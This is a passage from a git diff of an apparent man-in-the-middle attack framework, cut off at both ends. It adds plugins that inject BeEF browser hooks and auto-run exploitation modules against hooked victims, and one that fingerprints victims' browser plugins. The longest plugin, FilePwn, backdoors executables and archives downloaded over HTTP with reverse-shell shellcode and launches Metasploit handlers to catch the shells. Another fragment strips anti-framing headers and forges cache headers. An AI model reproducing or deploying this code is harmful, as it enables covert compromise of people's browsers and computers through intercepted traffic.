" + + def cacheForFuture(self, headers): + ten_years = 315569260 + headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)]) + headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh + in_ten_years = date.fromtimestamp(time.time() + ten_years) + headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")]) + + def removeDangerousHeaders(self, headers): + headers.removeHeader("X-Frame-Options") + + def getSpoofedManifest(self, url, section): + p = self.getTemplatePrefix(section) + if not os.path.exists(p+'.manifest'): + p = self.getDefaultTemplatePrefix() + + f = open(p + '.manifest', 'r') + manifest = f.read() + f.close() + return self.decorate(manifest, section) + + def decorate(self, content, section): + for i in section: + content = content.replace("%%"+i+"%%", section[i]) + return content + + def getTemplatePrefix(self, section): + if section.has_key('templates'): + return self.app_config['templates_path'] + '/' + section['templates'] + + return self.getDefaultTemplatePrefix() + + def getDefaultTemplatePrefix(self): + return self.app_config['templates_path'] + '/default' + + def getManifestUrl(self, section): + return section.get("manifest_url",'/robots.txt') + + def getSectionForUrls(self, urls): + for url in urls: + for i in self.app_config: + if isinstance(self.app_config[i], dict): #section + section = self.app_config[i] + name = i + + if section.get('tamper_url',False) == url: + return (name, section, 'tamper',url) + + if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url): + return (name, section, 'tamper',url) + + if section.get('manifest_url',False) == url: + return (name, section, 'manifest',url) + + if section.get('raw_url',False) == url: + return (name, section, 'raw',url) + + return (None, False,'',urls.copy().pop()) + + diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py new file mode 100644 index 0000000..e2ade2e --- /dev/null +++ b/plugins/BeefAutorun.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import sys +import json + +from time import sleep +from core.beefapi import BeefAPI +from core.utils import SystemConfig +from plugins.plugin import Plugin +from plugins.Inject import Inject + +mitmf_logger = logging.getLogger("mitmf") + +class BeefAutorun(Inject, Plugin): + name = "BeEFAutorun" + optname = "beefauto" + desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type" + tree_output = [] + depends = ["Inject"] + version = "0.3" + has_opts = False + + def initialize(self, options): + self.options = options + self.ip_address = SystemConfig.getIP(options.interface) + + Inject.initialize(self, options) + + self.tree_output.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) + self.onConfigChange() + + def onConfigChange(self): + + beefconfig = self.config['MITMf']['BeEF'] + + self.html_payload = ''.format(self.ip_address, beefconfig['beefport']) + + self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) + if not self.beef.login(beefconfig['user'], beefconfig['pass']): + sys.exit("[-] Error logging in to BeEF!") + + def startThread(self, options): + self.autorun() + + def autorun(self): + already_ran = [] + already_hooked = [] + + while True: + mode = self.config['BeEFAutorun']['mode'] + sessions = self.beef.sessions_online() + if (sessions is not None and len(sessions) > 0): + for session in sessions: + + if session not in already_hooked: + info = self.beef.hook_info(session) + mitmf_logger.info("{} >> joined the horde! [id:{}, type:{}-{}, os:{}]".format(info['ip'], info['id'], info['name'], info['version'], info['os'])) + already_hooked.append(session) + self.black_ips.append(str(info['ip'])) + + if mode == 'oneshot': + if session not in already_ran: + self.execModules(session) + already_ran.append(session) + + elif mode == 'loop': + self.execModules(session) + sleep(10) + + else: + sleep(1) + + def execModules(self, session): + session_info = self.beef.hook_info(session) + session_ip = session_info['ip'] + hook_browser = session_info['name'] + hook_os = session_info['os'] + all_modules = self.config['BeEFAutorun']["ALL"] + targeted_modules = self.config['BeEFAutorun']["targets"] + + if len(all_modules) > 0: + mitmf_logger.info("{} >> sending generic modules".format(session_ip)) + for module, options in all_modules.iteritems(): + mod_id = self.beef.module_id(module) + resp = self.beef.module_run(session, mod_id, json.loads(options)) + if resp["success"] == 'true': + mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) + else: + mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) + sleep(0.5) + + mitmf_logger.info("{} >> sending targeted modules".format(session_ip)) + for os in targeted_modules: + if (os in hook_os) or (os == hook_os): + browsers = targeted_modules[os] + if len(browsers) > 0: + for browser in browsers: + if browser == hook_browser: + modules = targeted_modules[os][browser] + if len(modules) > 0: + for module, options in modules.iteritems(): + mod_id = self.beef.module_id(module) + resp = self.beef.module_run(session, mod_id, json.loads(options)) + if resp["success"] == 'true': + mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) + else: + mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) + sleep(0.5) diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py new file mode 100644 index 0000000..1b48b6a --- /dev/null +++ b/plugins/BrowserProfiler.py @@ -0,0 +1,129 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import logging + +from pprint import pformat +from plugins.plugin import Plugin +from plugins.Inject import Inject + +mitmf_logger = logging.getLogger("mitmf") + +class BrowserProfiler(Inject, Plugin): + name = "Browser Profiler" + optname = "browserprofiler" + desc = "Attempts to enumerate all browser plugins of connected clients" + implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] + depends = ["Inject"] + version = "0.2" + has_opts = False + + def initialize(self, options): + Inject.initialize(self, options) + self.html_payload = self.get_payload() + self.dic_output = {} # so other plugins can access the results + + def post2dict(self, post): #converts the ajax post to a dic + dict = {} + for line in post.split('&'): + t = line.split('=') + dict[t[0]] = t[1] + return dict + + def sendPostData(self, request): + #Handle the plugin output + if 'clientprfl' in request.uri: + self.dic_output = self.post2dict(request.postData) + self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client + if self.dic_output['plugin_list'] > 0: + self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',') + pretty_output = pformat(self.dic_output) + mitmf_logger.info("{} >> Browser Profiler data:\n{}".format(request.client.getClientIP(), pretty_output)) + + def get_payload(self): + payload = """""" + + return payload diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py new file mode 100644 index 0000000..54bf08a --- /dev/null +++ b/plugins/FilePwn.py @@ -0,0 +1,650 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' +# +# Author Joshua Pitts the.midnite.runr 'at' gmail com +# +# Copyright (c) 2013-2014, Joshua Pitts +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, +# are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors +# may be used to endorse or promote products derived from this software without +# specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +# POSSIBILITY OF SUCH DAMAGE. +# +# Tested on Kali-Linux. + +import sys +import os +import pefile +import zipfile +import logging +import shutil +import random +import string +import tarfile +import multiprocessing + +from libs.bdfactory import pebin +from libs.bdfactory import elfbin +from libs.bdfactory import machobin +from core.msfrpc import Msfrpc +from plugins.plugin import Plugin +from tempfile import mkstemp +from configobj import ConfigObj + +mitmf_logger = logging.getLogger("mitmf") + +class FilePwn(Plugin): + name = "FilePwn" + optname = "filepwn" + desc = "Backdoor executables being sent over http using bdfactory" + implements = ["handleResponse"] + tree_output = ["BDFProxy v0.3.2 online"] + version = "0.3" + has_opts = False + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + + self.patched = multiprocessing.Queue() + + #FOR FUTURE USE + self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream'] + + #FOR FUTURE USE + self.zipMimeTypes = ['application/x-zip-compressed', 'application/zip'] + + #USED NOW + self.magicNumbers = {'elf': {'number': '7f454c46'.decode('hex'), 'offset': 0}, + 'pe': {'number': 'MZ', 'offset': 0}, + 'gz': {'number': '1f8b'.decode('hex'), 'offset': 0}, + 'bz': {'number': 'BZ', 'offset': 0}, + 'zip': {'number': '504b0304'.decode('hex'), 'offset': 0}, + 'tar': {'number': 'ustar', 'offset': 257}, + 'fatfile': {'number': 'cafebabe'.decode('hex'), 'offset': 0}, + 'machox64': {'number': 'cffaedfe'.decode('hex'), 'offset': 0}, + 'machox86': {'number': 'cefaedfe'.decode('hex'), 'offset': 0}, + } + + #NOT USED NOW + #self.supportedBins = ('MZ', '7f454c46'.decode('hex')) + + #FilePwn options + self.userConfig = self.config['FilePwn'] + self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax'] + self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86'] + self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64'] + self.WindowsType = self.userConfig['targets']['ALL']['WindowsType'] + self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86'] + self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64'] + self.LinuxType = self.userConfig['targets']['ALL']['LinuxType'] + self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86'] + self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64'] + self.FatPriority = self.userConfig['targets']['ALL']['FatPriority'] + self.zipblacklist = self.userConfig['ZIP']['blacklist'] + self.tarblacklist = self.userConfig['TAR']['blacklist'] + + #Metasploit options + msfcfg = self.config['MITMf']['Metasploit'] + rpcip = msfcfg['rpcip'] + rpcpass = msfcfg['rpcpass'] + + try: + msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary + msf.login('msf', rpcpass) + version = msf.call('core.version')['version'] + self.tree_output.append("Connected to Metasploit v{}".format(version)) + except Exception: + sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") + + self.tree_output.append("Setting up Metasploit payload handlers") + jobs = msf.call('job.list') + for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]: + cmd = "use exploit/multi/handler\n" + cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) + cmd += "set LHOST {}\n".format(config["HOST"]) + cmd += "set LPORT {}\n".format(config["PORT"]) + cmd += "exploit -j\n" + + if jobs: + for pid, name in jobs.iteritems(): + info = msf.call('job.info', [pid]) + if (info['name'] != "Exploit: multi/handler") or (info['datastore']['payload'] != config["MSFPAYLOAD"]) or (info['datastore']['LPORT'] != config["PORT"]) or (info['datastore']['lhost'] != config['HOST']): + #Create a virtual console + c_id = msf.call('console.create')['id'] + + #write the cmd to the newly created console + msf.call('console.write', [c_id, cmd]) + else: + #Create a virtual console + c_id = msf.call('console.create')['id'] + + #write the cmd to the newly created console + msf.call('console.write', [c_id, cmd]) + + def onConfigChange(self): + self.initialize(self.options) + + def convert_to_Bool(self, aString): + if aString.lower() == 'true': + return True + elif aString.lower() == 'false': + return False + elif aString.lower() == 'none': + return None + + def bytes_have_format(self, bytess, formatt): + number = self.magicNumbers[formatt] + if bytess[number['offset']:number['offset'] + len(number['number'])] == number['number']: + return True + return False + + def binaryGrinder(self, binaryFile): + """ + Feed potential binaries into this function, + it will return the result PatchedBinary, False, or None + """ + + with open(binaryFile, 'r+b') as f: + binaryTMPHandle = f.read() + + binaryHeader = binaryTMPHandle[:4] + result = None + + try: + if binaryHeader[:2] == 'MZ': # PE/COFF + pe = pefile.PE(data=binaryTMPHandle, fast_load=True) + magic = pe.OPTIONAL_HEADER.Magic + machineType = pe.FILE_HEADER.Machine + + #update when supporting more than one arch + if (magic == int('20B', 16) and machineType == 0x8664 and + self.WindowsType.lower() in ['all', 'x64']): + add_section = False + cave_jumping = False + if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append': + add_section = True + elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump': + cave_jumping = True + + # if automatic override + if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic': + cave_jumping = True + + targetFile = pebin.pebin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.WindowsIntelx64['SHELL'], + HOST=self.WindowsIntelx64['HOST'], + PORT=int(self.WindowsIntelx64['PORT']), + ADD_SECTION=add_section, + CAVE_JUMPING=cave_jumping, + IMAGE_TYPE=self.WindowsType, + PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']), + SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'], + ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']), + PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower() + ) + + result = targetFile.run_this() + + elif (machineType == 0x14c and + self.WindowsType.lower() in ['all', 'x86']): + add_section = False + cave_jumping = False + #add_section wins for cave_jumping + #default is single for BDF + if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append': + add_section = True + elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump': + cave_jumping = True + + # if automatic override + if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic': + cave_jumping = True + + targetFile = pebin.pebin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.WindowsIntelx86['SHELL'], + HOST=self.WindowsIntelx86['HOST'], + PORT=int(self.WindowsIntelx86['PORT']), + ADD_SECTION=add_section, + CAVE_JUMPING=cave_jumping, + IMAGE_TYPE=self.WindowsType, + PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']), + SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'], + ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']), + PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower() + ) + + result = targetFile.run_this() + + elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF + + targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False) + targetFile.support_check() + + if targetFile.class_type == 0x1: + #x86CPU Type + targetFile = elfbin.elfbin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.LinuxIntelx86['SHELL'], + HOST=self.LinuxIntelx86['HOST'], + PORT=int(self.LinuxIntelx86['PORT']), + SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'], + IMAGE_TYPE=self.LinuxType + ) + result = targetFile.run_this() + elif targetFile.class_type == 0x2: + #x64 + targetFile = elfbin.elfbin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.LinuxIntelx64['SHELL'], + HOST=self.LinuxIntelx64['HOST'], + PORT=int(self.LinuxIntelx64['PORT']), + SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'], + IMAGE_TYPE=self.LinuxType + ) + result = targetFile.run_this() + + elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho + targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False) + targetFile.support_check() + + #ONE CHIP SET MUST HAVE PRIORITY in FAT FILE + + if targetFile.FAT_FILE is True: + if self.FatPriority == 'x86': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx86['SHELL'], + HOST=self.MachoIntelx86['HOST'], + PORT=int(self.MachoIntelx86['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + elif self.FatPriority == 'x64': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx64['SHELL'], + HOST=self.MachoIntelx64['HOST'], + PORT=int(self.MachoIntelx64['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx86['SHELL'], + HOST=self.MachoIntelx86['HOST'], + PORT=int(self.MachoIntelx86['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx64['SHELL'], + HOST=self.MachoIntelx64['HOST'], + PORT=int(self.MachoIntelx64['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + self.patched.put(result) + return + + except Exception as e: + print 'Exception', str(e) + mitmf_logger.warning("EXCEPTION IN binaryGrinder {}".format(e)) + return None + + def tar_files(self, aTarFileBytes, formatt): + "When called will unpack and edit a Tar File and return a tar file" + + print "[*] TarFile size:", len(aTarFileBytes) / 1024, 'KB' + + if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']): + print "[!] TarFile over allowed size" + mitmf_logger.info("TarFIle maxSize met {}".format(len(aTarFileBytes))) + self.patched.put(aTarFileBytes) + return + + with tempfile.NamedTemporaryFile() as tarFileStorage: + tarFileStorage.write(aTarFileBytes) + tarFileStorage.flush() + + if not tarfile.is_tarfile(tarFileStorage.name): + print '[!] Not a tar file' + self.patched.put(aTarFileBytes) + return + + compressionMode = ':' + if formatt == 'gz': + compressionMode = ':gz' + if formatt == 'bz': + compressionMode = ':bz2' + + tarFile = None + try: + tarFileStorage.seek(0) + tarFile = tarfile.open(fileobj=tarFileStorage, mode='r' + compressionMode) + except tarfile.ReadError: + pass + + if tarFile is None: + print '[!] Not a tar file' + self.patched.put(aTarFileBytes) + return + + print '[*] Tar file contents and info:' + print '[*] Compression:', formatt + + members = tarFile.getmembers() + for info in members: + print "\t", info.name, info.mtime, info.size + + newTarFileStorage = tempfile.NamedTemporaryFile() + newTarFile = tarfile.open(mode='w' + compressionMode, fileobj=newTarFileStorage) + + patchCount = 0 + wasPatched = False + + for info in members: + print "[*] >>> Next file in tarfile:", info.name + + if not info.isfile(): + print info.name, 'is not a file' + newTarFile.addfile(info, tarFile.extractfile(info)) + continue + + if info.size >= long(self.FileSizeMax): + print info.name, 'is too big' + newTarFile.addfile(info, tarFile.extractfile(info)) + continue + + # Check against keywords + keywordCheck = False + + if type(self.tarblacklist) is str: + if self.tarblacklist.lower() in info.name.lower(): + keywordCheck = True + + else: + for keyword in self.tarblacklist: + if keyword.lower() in info.name.lower(): + keywordCheck = True + continue + + if keywordCheck is True: + print "[!] Tar blacklist enforced!" + mitmf_logger.info('Tar blacklist enforced on {}'.format(info.name)) + continue + + # Try to patch + extractedFile = tarFile.extractfile(info) + + if patchCount >= int(self.userConfig['TAR']['patchCount']): + newTarFile.addfile(info, extractedFile) + else: + # create the file on disk temporarily for fileGrinder to run on it + with tempfile.NamedTemporaryFile() as tmp: + shutil.copyfileobj(extractedFile, tmp) + tmp.flush() + patchResult = self.binaryGrinder(tmp.name) + if patchResult: + patchCount += 1 + file2 = "backdoored/" + os.path.basename(tmp.name) + print "[*] Patching complete, adding to tar file." + info.size = os.stat(file2).st_size + with open(file2, 'rb') as f: + newTarFile.addfile(info, f) + mitmf_logger.info("{} in tar patched, adding to tarfile".format(info.name)) + os.remove(file2) + wasPatched = True + else: + print "[!] Patching failed" + with open(tmp.name, 'rb') as f: + newTarFile.addfile(info, f) + mitmf_logger.info("{} patching failed. Keeping original file in tar.".format(info.name)) + if patchCount == int(self.userConfig['TAR']['patchCount']): + mitmf_logger.info("Met Tar config patchCount limit.") + + # finalize the writing of the tar file first + newTarFile.close() + + # then read the new tar file into memory + newTarFileStorage.seek(0) + ret = newTarFileStorage.read() + newTarFileStorage.close() # it's automatically deleted + + if wasPatched is False: + # If nothing was changed return the original + print "[*] No files were patched forwarding original file" + self.patched.put(aTarFileBytes) + return + else: + self.patched.put(ret) + return + + def zip_files(self, aZipFile): + "When called will unpack and edit a Zip File and return a zip file" + + print "[*] ZipFile size:", len(aZipFile) / 1024, 'KB' + + if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']): + print "[!] ZipFile over allowed size" + mitmf_logger.info("ZipFIle maxSize met {}".format(len(aZipFile))) + self.patched.put(aZipFile) + return + + tmpRan = ''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8)) + tmpDir = '/tmp/' + tmpRan + tmpFile = '/tmp/' + tmpRan + '.zip' + + os.mkdir(tmpDir) + + with open(tmpFile, 'w') as f: + f.write(aZipFile) + + zippyfile = zipfile.ZipFile(tmpFile, 'r') + + #encryption test + try: + zippyfile.testzip() + + except RuntimeError as e: + if 'encrypted' in str(e): + mitmf_logger.info('Encrypted zipfile found. Not patching.') + return aZipFile + + print "[*] ZipFile contents and info:" + + for info in zippyfile.infolist(): + print "\t", info.filename, info.date_time, info.file_size + + zippyfile.extractall(tmpDir) + + patchCount = 0 + + wasPatched = False + + for info in zippyfile.infolist(): + print "[*] >>> Next file in zipfile:", info.filename + + if os.path.isdir(tmpDir + '/' + info.filename) is True: + print info.filename, 'is a directory' + continue + + #Check against keywords + keywordCheck = False + + if type(self.zipblacklist) is str: + if self.zipblacklist.lower() in info.filename.lower(): + keywordCheck = True + + else: + for keyword in self.zipblacklist: + if keyword.lower() in info.filename.lower(): + keywordCheck = True + continue + + if keywordCheck is True: + print "[!] Zip blacklist enforced!" + mitmf_logger.info('Zip blacklist enforced on {}'.format(info.filename)) + continue + + patchResult = self.binaryGrinder(tmpDir + '/' + info.filename) + + if patchResult: + patchCount += 1 + file2 = "backdoored/" + os.path.basename(info.filename) + print "[*] Patching complete, adding to zip file." + shutil.copyfile(file2, tmpDir + '/' + info.filename) + mitmf_logger.info("{} in zip patched, adding to zipfile".format(info.filename)) + os.remove(file2) + wasPatched = True + else: + print "[!] Patching failed" + mitmf_logger.info("{} patching failed. Keeping original file in zip.".format(info.filename)) + + print '-' * 10 + + if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting. + mitmf_logger.info("Met Zip config patchCount limit.") + break + + zippyfile.close() + + zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED) + + print "[*] Writing to zipfile:", tmpFile + + for base, dirs, files in os.walk(tmpDir): + for afile in files: + filename = os.path.join(base, afile) + print '[*] Writing filename to zipfile:', filename.replace(tmpDir + '/', '') + zipResult.write(filename, arcname=filename.replace(tmpDir + '/', '')) + + zipResult.close() + #clean up + shutil.rmtree(tmpDir) + + with open(tmpFile, 'rb') as f: + tempZipFile = f.read() + os.remove(tmpFile) + + if wasPatched is False: + print "[*] No files were patched forwarding original file" + self.patched.put(aZipFile) + return + else: + self.patched.put(tempZipFile) + return + + def handleResponse(self, request, data): + + content_header = request.client.headers['Content-Type'] + client_ip = request.client.getClientIP() + + if content_header in self.zipMimeTypes: + + if self.bytes_have_format(data, 'zip'): + mitmf_logger.info("{} Detected supported zip file type!".format(client_ip)) + + process = multiprocessing.Process(name='zip', target=self.zip, args=(data,)) + process.daemon = True + process.start() + process.join() + bd_zip = self.patched.get() + + if bd_zip: + mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) + return {'request': request, 'data': bd_zip} + + else: + for tartype in ['gz','bz','tar']: + if self.bytes_have_format(data, tartype): + mitmf_logger.info("{} Detected supported tar file type!".format(client_ip)) + + process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,)) + process.daemon = True + process.start() + process.join() + bd_tar = self.patched.get() + + if bd_tar: + mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) + return {'request': request, 'data': bd_tar} + + + elif content_header in self.binaryMimeTypes: + for bintype in ['pe','elf','fatfile','machox64','machox86']: + if self.bytes_have_format(data, bintype): + mitmf_logger.info("{} Detected supported binary type!".format(client_ip)) + fd, tmpFile = mkstemp() + with open(tmpFile, 'w') as f: + f.write(data) + + process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,)) + process.daemon = True + process.start() + process.join() + patchb = self.patched.get() + + if patchb: + bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() + os.remove('./backdoored/' + os.path.basename(tmpFile)) + mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) + return {'request': request, 'data': bd_binary} + + else: + mitmf_logger.debug("{} File is not of supported Content-Type: {}".format(client_ip, content_header)) + return {'request': request, 'data': data} \ No newline at end of file diff --git a/plugins/Inject.py b/plugins/Inject.py index 2b75e37..82877eb 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -53,18 +53,6 @@ class Inject(CacheKill, Plugin): self.match_str = options.match_str self.html_payload = options.html_payload - if self.white_ips: - temp = [] - for ip in self.white_ips.split(','): - temp.append(ip) - self.white_ips = temp - - if self.black_ips: - temp = [] - for ip in self.black_ips.split(','): - temp.append(ip) - self.black_ips = temp - if self.options.preserve_cache: self.implements.remove("handleHeader") self.implements.remove("connectionMade") @@ -82,8 +70,8 @@ class Inject(CacheKill, Plugin): #If you have MSF on another host, you may need to check prior to injection #print "http://" + request.client.getRequestHostname() + request.uri ip, hn, mime = self._get_req_info(request) - if self._should_inject(ip, hn, mime) and (not self.js_src == self.html_src is not None or not self.html_payload == ""): - if hn not in self.proxyip: #prevents recursive injecting + if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and (hn not in self.proxyip): + if (not self.js_src == self.html_src is not None or not self.html_payload == ""): data = self._insert_html(data, post=[(self.match_str, self._get_payload())]) self.ctable[ip] = time.time() self.dtable[ip+hn] = True @@ -95,39 +83,28 @@ class Inject(CacheKill, Plugin): def _get_payload(self): return self._get_js() + self._get_iframe() + self.html_payload - def add_options(self, options): - options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") - options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") - options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.") - options.add_argument("--html-file", type=argparse.FileType('r'), default=None, help="File containing code you would like to inject.") - options.add_argument("--match-str", type=str, default="", help="String you would like to match and place your payload before. ( by default)") - options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") - group = options.add_mutually_exclusive_group(required=False) - group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.") - group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.") - group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.") - group.add_argument("--white-ips", type=str, default=None, help="Inject content ONLY for these ips") - group.add_argument("--black-ips", type=str, default=None, help="DO NOT inject content for these ips") - - def _should_inject(self, ip, hn, mime): + def _ip_filter(self, ip): if self.white_ips is not None: - if ip in self.white_ips: + if ip in self.white_ips.split(','): return True else: return False if self.black_ips is not None: - if ip in self.black_ips: + if ip in self.black_ips.split(','): 